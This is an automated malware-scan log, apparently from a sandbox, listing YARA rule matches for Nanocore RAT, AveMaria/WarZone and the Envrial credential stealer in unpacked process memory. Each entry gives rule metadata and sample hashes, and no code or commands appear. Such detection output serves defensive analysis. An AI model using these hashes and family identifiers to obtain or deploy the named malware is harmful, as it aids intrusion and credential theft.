Source: 40.2.KetqqsbuJ.exe.5160000.18.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.5160000.18.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.40006e6.16.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.40006e6.16.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.3cae5cf.7.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.3cae5cf.7.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6c8e8a4.34.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c8e8a4.34.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 7.2.Xjf4yH9N2t.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.Xjf4yH9N2t.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 40.2.KetqqsbuJ.exe.2d479bc.3.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.2d479bc.3.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.2d479bc.3.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 40.2.KetqqsbuJ.exe.2cf4ec4.2.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.2cf4ec4.2.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.3fe9487.14.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.3fe9487.14.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.3fe9487.14.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 40.2.KetqqsbuJ.exe.3ca9930.8.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.3ca9930.8.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.3ff22b6.15.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.3ff22b6.15.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.5280000.21.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.5280000.21.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6c20000.28.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c20000.28.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6c84c9f.33.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c84c9f.33.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 22.2.images.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 22.2.images.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 40.2.KetqqsbuJ.exe.6c70000.32.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c70000.32.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6c40000.30.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c40000.30.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6ab0000.25.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6ab0000.25.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.60a0000.24.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.60a0000.24.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6c40000.30.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c40000.30.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6c50000.31.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c50000.31.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.3ff22b6.15.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.3ff22b6.15.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.3e8db04.11.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 40.2.KetqqsbuJ.exe.3e88e65.12.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.3e88e65.12.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6c10000.27.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c10000.27.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.3ca9930.8.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.3ca9930.8.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6c10000.27.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c10000.27.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6cc0000.36.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6cc0000.36.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.2d3334c.4.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.2d3334c.4.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.2d3334c.4.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 40.2.KetqqsbuJ.exe.6c00000.26.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c00000.26.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6c80000.35.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c80000.35.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.2d3334c.4.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.2d3334c.4.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6c30000.29.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c30000.29.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.3fe9487.14.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.3fe9487.14.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6c80000.35.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c80000.35.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.5280000.21.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.5280000.21.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.3d0d051.10.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.3d0d051.10.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
